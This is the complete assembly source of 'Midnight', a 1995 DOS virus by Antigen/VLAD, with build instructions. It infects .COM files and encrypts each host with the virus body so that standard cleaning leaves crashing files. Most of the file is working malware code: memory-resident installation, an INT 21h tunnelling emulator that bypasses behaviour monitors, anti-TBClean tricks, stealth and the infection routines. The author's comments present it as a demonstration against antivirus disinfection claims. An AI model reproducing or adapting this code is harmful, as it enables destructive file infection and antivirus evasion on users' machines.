;; -=**=-
;; Copyright 1995 by Antigen/VLAD
;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`
;; '...Midnight shakes the memory
;; As a madman shakes a dead geranium.'
;;
;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`
;; read some poetry if you don't know what that's from.
;;
;; This virus was very easy to write, because of its nature:
;; it is designed to be detected
;; 'What the fuck?!' may be passing through the careful thinker's mind, so
;; here is a reasoning behind this.
;; Midnight infects .com files, but in addition to infecting them, it
;; encrypts the ENTIRE host file using the virus as a key
;; In other words, standard disinfection methods will not work on Midnight
;; So, if user A feels like relying upon their nifty integrity checker or
;; Invircible (which disinfects 100% of unknown virii, btw!!),
;; they will end up with a bunch of very strange files that crash every time
;; they try to run them. This virus will ONLY disinfect in memory on
;; execution of an infected file, and only has read redirection and dir/fffn
;; stealth to hide the virus while it is active in memory.
;; My point is that wild and dubious claims of 100% generic detection/
;; disinfection is total bullshit, and I offer Midnight as a perfect example
;; of why that is
;;
;; --Antigen
;; assemble with tasm as an .exe, and strip the header. Then add 4 bytes:
;; e9 01 00 90
;; and it will run
.model tiny
.code
.radix 16 ; since this was originally not a serious
org 0 ; project, I used masm mode :)
start:
const_start:
call next
next:
int 3
pop si
mov cx,40
mov ah,30
int 21
cmp_shit:
or ax,ax
je being_tbcleaned
mov bx,ds
dec bx
mov ds,bx
cmp ax,0fedh
je no_install
push bx
mov byte ptr ds:[0],'m'
xor byte ptr ds:[0],20
sub word ptr ds:[3],(end_vir-const_start)/8+1
sub word ptr ds:[12],(end_vir-const_start)/8+1
mov es,ds:[12]
mov byte ptr es:[0],5a xor 34
xor byte ptr es:[0],34
mov word ptr es:[1],8
mov word ptr es:[3],(end_vir-const_start)/8+1
mov ax,es
inc ax
mov es,ax
xor di,di
lea si,[si-3+10]
mov cx,end_vir-const_start
cld
rep movsb
push es
mov ax,offset _high
push ax
retf
no_install:
push bx
jmp exit_to_host
being_tbcleaned:
xor cx,cx
db 0f3
int 25 ; disable tbclean
popf
call disinfect
mov ax,4c00
int 21
_high:
push ds cs
pop ds
ideal
mov di,sim_flags ; this simply saves code
mov [word ptr di+(temp_sp - sim_flags)],stack_top + 40
mov [word ptr di+(_cs - sim_flags)],cs
mov [word ptr di+(_ip - sim_flags)],offset tunnel
;; set the cs:ip of art to cs:tunnel
mov [word ptr di+(test_exit - sim_flags)],offset _21test
;; use the INT 21 tunnel tester
mov [word ptr di+(tunnel_ip_ofs - sim_flags)],offset o21i
;; tell art where to put the tunneled cs:ip
mov [byte ptr di],0
;; clear all simulation flags
mov ah,52
int 21 ; get DOS list of lists
mov ax,[es:bx-2] ; ax = first MCB
mov [word ptr di+(firstMCB - sim_flags)],ax
mov [word ptr di+(return_address - sim_flags)],offset beginning
;; on return from saving the processor state, go to the beginning
mov ax,0de1bh
int 15
mov ah,30 ; we'll use get DOS version
jmp save_ds ; jump into art
;----------------------->> art starts simulating at this point
tunnel:
int 21 ; this is tunneled
;; if unsuccessful, this will be set to 0ffff (an impossible offset of int 21)
mov ax,0de1ch
int 15
mov ax,[word ptr di+(tunnel_ip - sim_flags)]
;; art aborts upon all escsaped 0Fh instructions, and when it finds ARPL,
;; FS segment override, GS segment override, Operand Length Override, Address
;; length override, coprocessor escape instructions, and BPICE
push cs
pop ds
cmp ax,0ffff
masm
jne successful
jmp exit_to_host
successful:
mov ax,3521
int 21
mov word ptr ds:[old21ip],bx
mov word ptr ds:[old21cs],es
mov ax,not 2521
not ax
mov dx,offset i21
call chain
mov ax,4b00
xor dx,dx ; fool TBMem into accepting
int 21 ; our vector
exit_to_host:
pop ax
inc ax
mov ds,ax
mov es,ax
mov si,ds:[101]
add si,103
push si
call decrypt_host
pop si
mov ax,100
mov di,ax
add si,(first_bytes - const_start)
movsw
movsb
push es
push ax
xor ax,ax
retf
;;assumptions:
; - the code will only be executed in a situation where no delta offset
; is necessary, i.e. in residence
; - radix is 16
; - ss:sp = cs:tempsp
; - saved ss:sp is valid
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; sim_flags bitmapped values:
; 8 7 6 5 4 3 2 1
; ³ ³ ³ ³ ³ ³ ³ ÀÄ set ds = traced cs in simulation
; ³ ³ ³ ³ ³ ³ ÀÄ bound interrupt hooked (0 if divide exception hooked)
; ³ ³ ³ ³ ³ ÀÄ unused
; ³ ³ ³ ³ ÀÄ unused
; ³ ³ ³ ÀÄ set es = old ds in simulation
; ³ ³ ÀÄ unused
; ³ ÀÄ unused
; ÀÄ one of either int 0 or int 5 has been hooked
ideal
unsuccessful:
mov di,[word ptr cs:tunnel_ip_ofs] ; set in the initialization
xor ax,ax
dec ax ; ax=0ffff
stosw
exit_art:
mov [word ptr cs:return_address],offset hide_tracks
jmp restore_ds ; continue where we left off
hide_tracks:
jmp [dword ptr cs:_ip] ; no traces :)
beginning:
cld
mov al,[byte ptr cs:sim_flags]
;; did the last instruction require hooking of an interrupt?
test al,80
je no_reset
xor di,di
mov es,di ; es:di = int 0 vector
test al,2 ; was it int 5?
je was_int_0
mov di,4*5 ; int 5 vector
was_int_0:
mov ax,[word ptr cs:int0_5_sip] ; saved int 0/5 vector
stosw
mov ax,[word ptr cs:int0_5_scs]
stosw
and [byte ptr cs:sim_flags],not 82 ; turn off de flags
no_reset:
push cs
pop es
mov di,simulate_buffer ; es:di = simulate buffer
;; ds:si = traced cs:ip
mov ds,[word ptr cs:di+(_cs-simulate_buffer)]
mov si,[word ptr cs:di+(_ip-simulate_buffer)]
;; exceptions always push the ip of the ofending instruction on 286+
;; and since nobody in their right mind would write software which
;; works only on 8086/8088s, I assume this will be the case.
mov [word ptr cs:di+(int0_5_ip-simulate_buffer)],si ; remember it
;; this calls the procedure installed to test whether we've tunneled far
;; enough
call [word ptr cs:di+(test_exit-simulate_buffer)]
jnc continue_art
;; if we reach here, we're done :)
mov di,[word ptr cs:di+(tunnel_ip_ofs - simulate_buffer)]
;; di = 4 byte space for the tunneled cs:ip
xchg ax,si
stosw
mov ax,ds
stosw ; save the tunneled cs:ip
jmp exit_art
continue_art:
;; al = 1st byte of next instruction
lodsb
stosb ; save in simulate buffer
call scan_for_invalid ; unhandleable opcode?
jnc unsuccessful ; damn
call scan_for_prefix ; prefix?
jnc continue_art ; if so, read in next byte
call scan_for_csip_change ; modifies cs and/or ip?
;; if so, it never returns, but jumps to continue_art
call scan_for_int0_5_needed ; hook int 0/5 if needed
call scan_for_no_mrm ; simple instruction?
jnc goto_simulate ; then no problems
;; if we reach here, the instruction has a ModR/M byte which needs parsing
push ax
xchg ax,bx ; bl = instruction
lodsb ; load the ModR/M into al
skip_out:
;; here's the bug in art 1.0 which I fixed: f6 and f7 ModR/M column 0
;; have an immediate value which was never copied to the simulate buffer
cmp bl,0f6
je test_immm
cmp bl,0f7
jne no_immm
test_immm:
stosb ; save the ModR/M
mov ah,al ; again
and al,111000b ; if column 0, ZF will be set
xchg ah,al
jne no_imms
test bl,1 ; f7 has 2 bytes, f6 1
je one_immm
movsb
one_immm:
movsb
no_imms:
call immm_parse_ModRM ; skip the stosb below
jmp rest_main
no_immm:
call parse_ModRM ; store and parse the ModR/M
rest_main:
pop ax ; al = instruction byte
call scan_for_immediate ; has immediate bytes?
goto_simulate:
jmp simulate
;===========================================================================
; given a ModRM in al, determine the length of displacement
; es:di -> current location in simulation buffer
;; format of ModR/M:
;; bit: 8 7 6 5 4 3 2 1
;; Mod: 1 1 = register value, i.e. just a ModR/M byte
;; Mod: 1 0 = memory value + a 16 bit displacement
;; Mod: 0 1 = memory value + an 8 bit displacement
;; mrm: 0 0 1 1 0 = just a 16 bit displacement
;; mrm: 0 0 x x x = just a ModR/M byte (x x x != 1 1 0)
parse_ModRM:
stosb ; save the ModRM
immm_parse_ModRM:
mov ah,al
and al,0c0 ; isolate the Mod and the R/M
cmp al,0c0
je no_disp
cmp al,80
je disp16
cmp al,40
je disp8
and ah,111b
cmp ah,6
jne no_disp
disp16:
movsb
disp8:
movsb
no_disp:
ret
;===========================================================================
restore_ds:
mov ds,[word ptr cs:_ds]
restore_proc_state:
mov ax,cs
mov ss,ax
mov sp,stack_bottom
pop ax bx cx dx si di bp es
popf
pop ss
mov sp,[word ptr cs:_sp]
jmp [word ptr cs:return_address]
;===========================================================================
save_ds:
mov [word ptr cs:_ds],ds
save_proc_state:
mov [word ptr cs:_sp],sp
mov [word ptr cs:_ss],ss
mov [word ptr cs:_ax],ax
mov ax,cs
mov ss,ax
mov sp,stack_top
pushf
cli
push es bp di si dx cx bx
mov ax,cs
mov ss,ax
mov sp,[word ptr cs:temp_sp] ; use temporary stack
jmp [word ptr cs:return_address]
;===========================================================================
;===========================================================================
simulate:
;; write the ret to simulate buffer
call write_ret
mov di,sim_flags ; save bytes
;; zero return address for now
and [word ptr cs:di+(return_address - sim_flags)],0
test [byte ptr cs:di],10 ; set es = ds?
je no_es
sub [word ptr cs:di+(return_address - sim_flags)],\
start_simulate-let_es_eq_ds ; adjust return address
no_es:
test [byte ptr cs:di],1 ; set ds = cs?
jne let_ds_eq_cs ; ds already = cs
;; restore ds if we don't need it to be cs
mov ds,[word ptr cs:di+(_ds - sim_flags)]
let_ds_eq_cs:
add [word ptr cs:return_address],offset start_simulate
jmp restore_proc_state
let_es_eq_ds:
mov [word ptr cs:temp_es],es ; remember for afterwards
mov es,[word ptr cs:_ds] ; set es = ds
start_simulate:
mov [word ptr cs:return_address],offset ds_cleanup
jmp near simulate_buffer ; do de dirty werk
ds_cleanup:
mov [word ptr cs:return_address],offset test_ds
jmp save_proc_state ; save everytink but ds
test_ds:
mov di,sim_flags
test [byte ptr cs:di],10 ; was es = ds?
je es_is_just_fine_the_way_it_is ; heh, guess not
mov ax,[word ptr cs:di+(temp_es - sim_flags)]
mov [word ptr cs:di+(_es - sim_flags)],ax
es_is_just_fine_the_way_it_is:
test [byte ptr cs:di],1 ; was ds = cs?
je normal_cmp ; if so, and ds now != cs,
mov ax,ds ; we want top save the change
cmp ax,[word ptr cs:di+(_cs - sim_flags)]
jne normal_cmp
mov ds,[word ptr cs:di+(_ds - sim_flags)]
normal_cmp:
mov [word ptr cs:di+(_ds - sim_flags)],ds
and [byte ptr cs:di],not 11 ; turn off ds = cs,es = ds
cycle:
jmp beginning ; go topside
;===========================================================================
write_ret:
mov [word ptr cs:_ip],si ; save new ip
mov ax,0ff2e ; cs:...
stosw
mov ax,(low (offset return_address - offset const_start)) shl 8 + 26
stosw
mov al,high (offset return_address - offset const_start)
stosb ; ...jmp [return_address]
ret
;===========================================================================
scan_for_invalid:
mov bx,offset invalid_sfi
mov cx,end_invalid_sfi - invalid_sfi
jmp scan ; let scan handle the ret
invalid_sfi:
db 0f,63,64,65,66,67,0d8,0d9,0da,0dbh,0dc,0ddh,0de,0df,0f1
end_invalid_sfi:
;===========================================================================
scan_for_prefix:
cmp al,2e ; cs:?
je set_sfp
reset_sfp:
mov bx,offset prefixes
mov cx,end_prefixes - prefixes
call scan
jc no_reset_sfp
and [byte ptr cs:sim_flags],not 1 ; turn off ds = cs flag
no_reset_sfp:
ret
set_sfp:
or [byte ptr cs:sim_flags],1 ; turn on ds = cs flag
;; set al = 3e which is ds:
or al,10 ; this auto. clears carry :)
dec di ; replace the cs:
stosb
ret
prefixes:
db 26,36,3e,64,65,0f0,0f2,0f3
end_prefixes:
;===========================================================================
scan_for_int0_5_needed:
push ax es di
cmp al,0f6 ; DIV/IDIV
je needed0
cmp al,0f7
je needed0
cmp al,0d4 ; AAM
je might_need_0
cmp al,62 ; Bound
je needed5
do_da_ret_thang:
pop di es ax
ret
needed5:
mov di,4*5
or [byte ptr cs:sim_flags],2 ; remember it was int 5
jmp skip_0
might_need_0:
lodsb ; the immediate of AAM
dec si
or al,al ; is it 0?
jne do_da_ret_thang ; if so we need to hook int 0
needed0:
xor ax,ax
mov di,ax
mov es,ax ; es:di = int 0 vector
skip_0:
or [byte ptr cs:sim_flags],80 ; remember we hooked an int
mov ax,[es:di]
mov [word ptr cs:int0_5_sip],ax
mov ax,[es:di+2]
mov [word ptr cs:int0_5_scs],ax ; save the vector
mov ax,offset int0_5
stosw
mov ax,cs
stosw ; set it to ours
jmp do_da_ret_thang
;===========================================================================
standard_cfar: ; call far
push ds ; return cs
lea ax,[si+4] ; return ip
push ax
;===========================================================================
standard_far:
lodsw
lodsw ; ax = the new cs
mov ds,ax
f_standard_far:
or al,8 ; make sure al is non-zero
cmp ax,0 ; shorter than a jmp short
org $ - 2
standard_near:
mov al,0 ; make sure al = 0
do_gnear:
mov [word ptr cs:_ip],bx ; save the new ip
or al,al ; was it far?
je near_direct
do_gfar: ; if al != 0 then
mov [word ptr cs:_cs],ds ; yes
near_direct:
jmp to_beginning ; restore temp stack
;===========================================================================
do_cnear:
lea ax,[si+2] ; return ip
push ax ; save on stack
jmp do_near ; do near jump procedure
;===========================================================================
do_cond:
mov [byte ptr cs:test_jcond],al ; save the jump
mov cx,[word ptr cs:_cx] ; if loop, it uses cx
xchg bh,bl ; bh = short offset
mov bl,0 ; set the current jmp to 0
mov bp,sp
mov bp,[bp-2] ; bp = stack word
push [word ptr cs:flags]
popf ; restore flags
push bp ; keep the stack untarnished
pop bp
jmp test_jcond ; flush prefetch on 486-
test_jcond:
;; the je is replaced with the jump of choice (current instruction)
je has_offset
cmp ax,0 ; shorter dan a jmp short
org $ - 2
has_offset:
mov bl,bh ; use the short offset
mov [word ptr cs:_cx],cx ; save any changes to cx
;; al = relative offset
do_short:
xchg ax,bx
cbw ; convert the short to a near
xchg ax,bx
dec bx ; short jmps are 2 bytes
;; bx = relative offset
do_near:
inc bx
inc bx
inc bx ; near jmps are 3 bytes long
add [word ptr cs:_ip],bx ; set new ip
;===========================================================================
to_beginning:
mov [word ptr cs:_sp],sp ; remember changes to sp
mov bx,cs
mov ss,bx
mov sp,offset stack_top+300 ; use temporary stack
jmp beginning ; cycle
;===========================================================================
scan_for_csip_change:
mov bx,offset temp_sp
mov [word ptr cs:bx],sp ; save current sp
;; use original stack (smaller code)
mov ss,[word ptr cs:bx+(_ss - temp_sp)]
mov sp,[word ptr cs:bx+(_sp - temp_sp)]
xchg ax,bx
lodsw
xchg ax,bx
;; al = current instruction, ah = 0 (4 lines down)
;; bx = next 2 bytes
dec si
dec si
mov ah,0
cmp al,9a ; call far
je standard_cfar
cmp al,0ea ; jmp far
je standard_far
cmp al,0ebh ; jmp short
je do_short
cmp al,0e9 ; jmp near
je do_near
cmp al,0e8 ; call near
je do_cnear
cmp al,0e0 ; loopne
jb no_cond ; loope is e1, loop is e2
cmp al,0e3 ; jcxz
jbe do_cond
no_cond:
cmp al,70 ; all the jx/jnx jumps
jb not_jcond
cmp al,7f
jbe do_cond
not_jcond:
cmp al,0c2 ; ret iw
je iw_ret
cmp al,0c3 ; ret
je standard_ret
cmp al,0ca ; retf iw
je iw_retf
cmp al,0cbh ; retf
je standard_retf
cmp al,0cc ; int 3
je trap_int
cmp al,0cdh ; int xx
je do_int
cmp al,0ceh ; into
je overflow_int
cmp al,0cfh ; iret
je do_iret
cmp al,0ff ; indirect jmp/call (maybe)
je test_ff
jmp restore_temp_stack ; return to the sim cycle
;===========================================================================
iw_retf:
;; remember that this is a retf and also not an iret
or ax,101
iw_ret:
;; remember that an imm16 must be added to sp
or ah,2
test ah,1
jne standard_retf
standard_ret:
mov al,0 ; not retf
cmp ax,0 ; shorter jmp short
org $ - 2
standard_retf:
and al,not 2 ; not iret
do_iret:
do_retn:
pop [word ptr cs:_ip] ; pop ip from stack
test al,1 ; far?
je retn_only
pop [word ptr cs:_cs] ; pop cs from stack
test al,2 ; iret?
je retf_only
pop [word ptr cs:flags] ; pop flags
retf_only:
retn_only:
test ah,2 ; immediate word?
je no_iw
add sp,bx ; bx = that word (ca xxxx)
no_iw:
jmp to_beginning ; cycle
;-----------------------------
; thses are used by test_ff
goto_call_near:
push si
goto_jmp_near:
jmp standard_near
goto_call_far:
push [word ptr cs:_cs] si
goto_jmp_far:
jmp f_standard_far
;===========================================================================
overflow_int:
test [word ptr cs:flags],800 ; OF set?
mov bl,4 ; int 4 if so
jne do_sint
mov bx,si ; si = instruction after INTO
jmp do_gnear ; reuse code to save size
trap_int:
mov bl,3 ; use int 3
do_sint:
dec si ; cc,ce are 1 byte < cd xx
;===========================================================================
do_int:
mov bh,0 ; bx = int number
shl bl,1
shl bl,1 ; bx = bx*4
inc si
push [word ptr cs:flags] ds si ; order of stack in an int
and [byte ptr cs:flags+1],not 3 ; turn off TF & IF
xor ax,ax
mov ds,ax
lds bx,[bx] ; ds:bx =int vector
or al,8 ; it's far, so remember
jmp do_gnear
;===========================================================================
test_ff:
mov ax,cs
mov ss,ax
mov sp,[word ptr cs:temp_sp] ; need temporary stack
lodsb ; al = ModR/M
mov ah,al ; remember it
and al,111000b ; isolate opcode in ModR/M
push ax ; save for later
cmp al,2 shl 3
jb not_csip_ff
cmp al,5 shl 3 ; if 5 > reg > 2 it needs sim
ja not_csip_ff
call get_ModRM ; get the new cs:ip
xchg ax,bx ; ds:bx = new cs:ip
pop ax ; ax = reg of Mod reg R/M
mov ss,[word ptr cs:_ss]
mov sp,[word ptr cs:_sp]
mov si,[word ptr cs:_ip]
cmp al,2 shl 3 ; call near
je goto_call_near
cmp al,3 shl 3 ; call far
je goto_call_far
cmp al,4 shl 3 ; jmp near
je goto_jmp_near
cmp al,5 shl 3 ; jmp far
je goto_jmp_far
not_csip_ff:
dec si ; ds:si -> ModR/M
pop ax ; pop to get the ret to work
mov al,0ff ; now it's like when started
ret
;===========================================================================
scan_for_no_mrm:
cmp al,0e ; push cs
jne not_pushcs
dec di ; es:di -> push cs
or al,10 ; push ds
stosb ; switch push cs with push ds
or [byte ptr cs:sim_flags],1 ; remember to set ds = cs
ret
not_pushcs:
cmp al,8c ; mov r/m16,segmentr register?
jne not_mov_reg_seg
lodsb ; al = ModR/M
push ax ; save it
and al,111000b ; isolate the register
cmp al,1000b ; cs?
jne not_cs
or [byte ptr cs:sim_flags],1 ; set ds = cs and use ds
pop ax
or al,10000b ; now = ds
setup_skip:
pop bx ; pop the return address
push ax ; setup to skip normal route
mov bl,08c
jmp skip_out ; go directly to parse_modR/M
not_cs:
;; now to check for:
; mov [cs:somewhere],ds
; which becomes
; mov [ds:somewhere],ds (mov [cs:somewhere],cs - oops)
; so I use
; mov [ds:somewhere],es and set es = ds
cmp al,11000b ; ds?
jne restore_8c
test [byte ptr cs:sim_flags],1 ; is ds = cs? urgh, problem
je restore_8c
or [byte ptr cs:sim_flags],10 ; OK, use es instead
pop ax
xor al,11000b ; use es
jmp setup_skip
restore_8c:
dec si
pop ax
mov al,8c
stc
ret
not_mov_reg_seg:
cmp al,0c8 ; enter?
jne next_sfnm
movsw ; the only 4 byte instruction
movsb
ret
next_sfnm:
cmp al,40
jb do_scan_sfnm ; 40 <= instructions <= 61
cmp al,62 ; are all 1 byte instructions
cmc
ja success_sfnm
do_scan_sfnm:
cmp al,90 ; 9a is never seen here
jb do_scan_sfnm2 ; 90 <= instrucitons <= 9f
cmp al,0a0 ; are all 1 byte instructions
cmc
ja success_sfnm
do_scan_sfnm2:
push ax
mov bx,offset one_byters
mov cx,two_byters - one_byters
call scan ; scan for 1 byters
jnc success1
mov cl,three_byters - two_byters
call scan ; scan for 2 byters
jnc success2
mov cl,end_sfnm - three_byters
call scan ; and three byte instructions
jc no_success_sfnm
movsb
success2:
movsb
success1:
mov ah,0 ; shorter jmp short
org $ - 1
no_success_sfnm:
stc
pop ax
success_sfnm:
ret
one_byters:
db 6,7,0e
db 16,17,1e,1f
db 27,2f
db 37,3f
db 6c,6dh,6e,6f
db 0a4,0a5,0a6,0a7,0aa,0abh,0ac,0adh,0ae,0af
db 0c9
db 0d6,0d7
db 0ee
;skip halt (no need to worry if that's executed!)
db 0f5,0f8,0f9,0fa,0fbh,0fc,0fdh
two_byters:
db 04,0c,14,1c,24,2c,34,3c ;add/or/adc/sbb/and/sub/xor/cmp al,ib
db 6a ;push imm8
db 0a8 ;test al,ib
db 0b0,0b1,0b2,0b3,0b4,0b5,0b6,0b7 ;mov rl/h, ib
db 0d4,0d5 ;aam and aad
db 0e4,0e6 ;in/out al,ib
db 0e5,0e7 ;in/out ax,ib
three_byters:
db 05,0dh,15,1dh,25,2dh,35,3dh,45,4dh,55,5dh ;add/or/etc. ax,iw
db 68 ; push imm16
db 0a0,0a1,0a2,0a3 ;mov al/ax,[mx],mov [mx],al/ax
db 0a9 ;test ax,iw
db 0b8,0b9,0ba,0bbh,0bc,0bdh,0be,0bf ;mov rx,iw
end_sfnm:
;===========================================================================
scan_for_immediate:
push ax ; opcodes with an imm value
mov bx,offset immediates_8
mov cx,immediates_16 - immediates_8
call scan
jnc success_1_sfi
mov cl,end_immediates - immediates_16
call scan
jc no_imm_sfi
movsb
success_1_sfi:
movsb
no_imm_sfi:
pop ax
ret
immediates_8:
db 6bh,80,82,83,0c0,0c1,0c6
immediates_16:
db 69,81,0c1,0c7
end_immediates:
;===========================================================================
; es:bx = index
; al = byte to scan for
; cx = number of bytes to scan
scan:
cmp [es:bx],al
je found_scan
inc bx
loop scan
stc
found_scan: ; if =, CF will be cleared
ret
;===========================================================================
_21test:
;; check for instructions which DO NOT exist at DOS entry point
cmp [byte ptr si],0cf ; iret
je not_in_DOS
cmp [byte ptr si],0cbh ; retf
je not_in_DOS
cmp [byte ptr si],0ca ; retf iw
je not_in_DOS
cmp [byte ptr si],0c3 ; ret
je not_in_DOS
cmp [byte ptr si],0c2 ; ret iw
je not_in_DOS
mov ax,si
mov cl,4
shr ax,cl ; un-segmentize
;; segmentize our current location
mov cx,ds
add ax,cx
cmp ax,[word ptr cs:firstMCB]
not_in_DOS:
ret
;===========================================================================
;; interrupt handler (sets up tracing through the int handler)
int0_5:
mov di,sim_flags
add sp,4
;; push the 'real' return address, replacing the simulate buffer's location
push [word ptr cs:di+(_cs - sim_flags)]
push [word ptr cs:di+(int0_5_ip - sim_flags)]
;; save the new sp
mov [word ptr cs:di+(_sp - sim_flags)],sp
lds ax,[dword ptr cs:di+(int0_5_sip - sim_flags)]
;; ds:ax = new cs:ip (location of their int 0/5 vector
mov [word ptr cs:di+(_cs - sim_flags)],ds
mov [word ptr cs:di+(_ip - sim_flags)],ax
;; restore temp_stack
mov ax,cs
mov ss,ax
mov sp,offset stack_top + 300
and [byte ptr cs:di],not 11 ; turn off any flags still on
jmp beginning ; cycle
;===========================================================================
get_ModRM:
mov [word ptr cs:temp_sp],sp
dec di
;; use a temporary instruction to get what's at the ModR/M easily
mov al,0c5h ; lds r16,r/m16
stosb
mov al,ah
and al,11000000b ; look at the Mod
;; if it's 2, then the r/m is a register and lds r16,r16 is invalid, so
;; use mov r16,r16 instead
cmp al,11000000b
jne OK_to_use_lds
;; this only happens for call,jmp near
dec di ; es:di -> lds r16,r/m16
mov al,8bh ; mov r16,r/m16
stosb ; replace the lds
OK_to_use_lds:
mov al,ah
and al,11000111b ; set r16 to ax
call parse_ModRM ; copy correct number of bytes
call write_ret ; write the return and save ip
mov [word ptr cs:return_address],offset next_gmw
test [byte ptr cs:sim_flags],1 ; ds = cs?
je no_gmw_ds
jmp restore_proc_state ; restore all but ds
no_gmw_ds:
jmp restore_ds ; restore everything
next_gmw:
mov [word ptr cs:return_address],offset next_gmw1
jmp near simulate_buffer ; get the address in ds:ax
next_gmw1:
and [byte ptr cs:sim_flags],not 1 ; turn off the flag
restore_temp_stack: ; self-explanatory
mov bx,cs
mov ss,bx
mov sp,[word ptr cs:temp_sp] ; all set :)
ret
;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`
masm
test_infect:
push ax cx dx si di ds es
cld
mov ax,3d02
call chain
jnc continue_infect
jmp no_infect
continue_infect:
xchg ax,bx
mov ax,4400
call chain
test dl,80
jne not_infected
push cs cs
pop ds es
mov dx,(end_vir - const_start)
mov ah,3f
mov cx,3
call chain
mov si,dx
lodsb
cmp al,0e9
je infected
or al,84
cmp al,84 or 'M'
je infected
cmp al,84 or 'Z'
je infected ; avoid misnamed .exe's
not_infected:
clc
mov al,0
org $ - 1
infected:
stc
pop es ds di si dx cx ax
ret
disinfect:
push ax bx cx dx si di ds es
mov ah,62
call chain
mov es,bx
mov es,es:[2c]
xor di,di
mov ax,di
mov cx,7fff
go_on:
repne scasb
scasb
jne go_on
scasw
push es di
pop dx ds
mov ax,3d02
call chain
xchg ax,bx
mov ax,5700
call chain
push cx dx
push cs
pop ds
mov dx,word ptr ds:[(end_vir - const_start)+1]
push dx
add dx,3+(first_bytes - const_start)
xor cx,cx
mov ax,4200
call chain
mov dx,(end_vir - const_start) + 3
mov cx,3
mov ah,3f
call chain
pop dx
add dx,3
xor cx,cx
mov ax,4200
call chain
mov ah,40
xor cx,cx
call chain
cwd
xchg ax,cx
mov ax,4200
call chain
mov ah,40
mov cx,3
mov dx,(end_vir - const_start) + 3
call chain
pop dx cx
mov ax,5701
call chain
mov ah,3e
call chain
no_infect:
pop es ds di si dx cx bx ax
ret
goto_not_infectable:
jmp not_infectable
infect:
cld
push ax bx cx dx si di ds es
push ds dx
xor ax,ax
pop di es
mov cx,128d
cld
repne scasb
cmp di,3
jbe goto_not_infectable
mov ax,word ptr es:[di-3]
or ax,2020
cmp ax,'mo'
jne goto_not_infectable
mov al,byte ptr es:[di-4]
and al,not 20
cmp al,'C'
jne goto_not_infectable
mov al,byte ptr es:[di-6]
or al,20
cmp al,'d'
je goto_not_infectable ; avoid COMMAND.COM like de plague
infectable:
mov ax,4300
call chain
push ax
and cl,not 1
mov ax,4301
call chain
call test_infect
pop cx
pushf
mov ax,4301
call chain
popf
jc infected_prolly
push cs
pop ds
mov ax,5700
call chain
push cx dx
mov dx,(first_bytes - const_start)
mov cx,3
mov ah,3f
call chain
push cs
pop es
mov di,(end_vir - const_start)
call encrypt_host
mov ax,4202
cwd
mov cx,dx
call chain
push ax
xor dx,dx
mov cx,(end_vir - const_start)
mov ah,40
call chain
mov ax,4200
cwd
mov cx,dx
call chain
mov byte ptr cs:[(end_vir - const_start)],0e9
pop ax
sub ax,3
mov word ptr cs:[(end_vir - const_start) + 1],ax
mov dx,(end_vir - const_start)
mov ah,40
mov cx,3
call chain
push bx
mov ax,352a
call chain
mov al,0cf
xchg byte ptr es:[bx],al
pop bx
xchg ax,bp
mov ax,5701
pop dx cx
call chain
mov ah,3e
call chain
mov ax,352a
call chain
xchg ax,bp
xchg byte ptr es:[bx],al
not_infectable:
infected_prolly:
pop es ds di si dx cx bx ax
ret
db '[Midnight] by Antigen/VLAD',0dh,0a
db 'Hi Zvi!! Thanks for inspiring the idea :)'
db 'M' xor 'm'
db 'i' xor 'u'
db 'd' xor 'i'
db 'n' xor 'n'
db 'i' xor 'a'
db 'g' xor 'r'
db 'h' xor 'e'
db 't' xor 'g'
db ' ' xor ' '
db 's' xor 'd'
db 'h' xor 'a'
db 'a' xor 'e'
db 'k' xor 'd'
db 'e' xor ' '
db 's' xor 'a'
db ' ' xor ' '
db 't' xor 's'
db 'h' xor 'e'
db 'e' xor 'k'
db ' ' xor 'a'
db 'm' xor 'h'
db 'e' xor 's'
db 'm' xor ' '
db 'o' xor 'n'
db 'r' xor 'a'
db 'y' xor 'm'
db ' ' xor 'd'
db 'A' xor 'a'
db 's' xor 'm'
db ' ' xor ' '
db 'a' xor 'a'
db ' ' xor ' '
db 'm' xor 's'
db 'a' xor 'A'
db 'd' xor ' '
db 'm' xor 'y'
db 'a' xor 'r'
db 'n' xor 'o'
db ' ' xor 'm'
db 's' xor 'e'
db 'h' xor 'm'
db 'a' xor ' '
db 'k' xor 'e'
db 'e' xor 'h'
db 's' xor 't'
db ' ' xor ' '
db 'a' xor 's'
db ' ' xor 'e'
db 'd' xor 'k'
db 'e' xor 'a'
db 'a' xor 'h'
db 'd' xor 's'
db ' ' xor ' '
db 'g' xor 't'
db 'e' xor 'h'
db 'r' xor 'g'
db 'a' xor 'i'
db 'n' xor 'n'
db 'i' xor 'd'
db 'u' xor 'i'
db 'm' xor 'M'
encrypt_host:
mov ax,4200
cwd
mov cx,dx
mov dl,4
call chain ; seek to beginning + 4
mov dx,(end_vir - const_start)
encrypt_lup:
mov cx,(not_execute - const_start) ; cx = block length
mov ah,3f
call chain ; read in that many bytes
or ax,ax
je done_lup
call en_decrypt ; encrypt the buffer
push dx ax
xchg ax,dx
mov ax,4201
mov cx,0ffff
neg dx ; seek backwards virus_len bytes
call chain
mov ah,40
pop cx dx
call chain ; write the encrypted portion
mov di,(end_vir - const_start)
jmp encrypt_lup ; encrypt until we reach the file end
done_lup:
ret
decrypt_host:
mov di,104 ; encryption starts here
mov bp,si
next_section:
mov si,bp
mov cx,(not_execute - const_start)
cld
decrypt_loop:
lodsw
xor es:[di],ax
scasw
dec cx
cmp di,bp
jae done_decrypt
loop decrypt_loop ; simply do the same as the
jmp next_section ; encryption without modding the file
done_decrypt:
ret
en_decrypt:
push ax ds si cx cs cs
pop ds es
xor si,si
mov cx,(not_execute - const_start)
top:
lodsw
xor es:[di],ax ; use the virus itself as the key
scasw
dec cx
jcxz bottom
loop top
bottom:
pop cx si ds ax
ret
is_install:
pop cx
mov ax,0fedh
iret
;;'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`
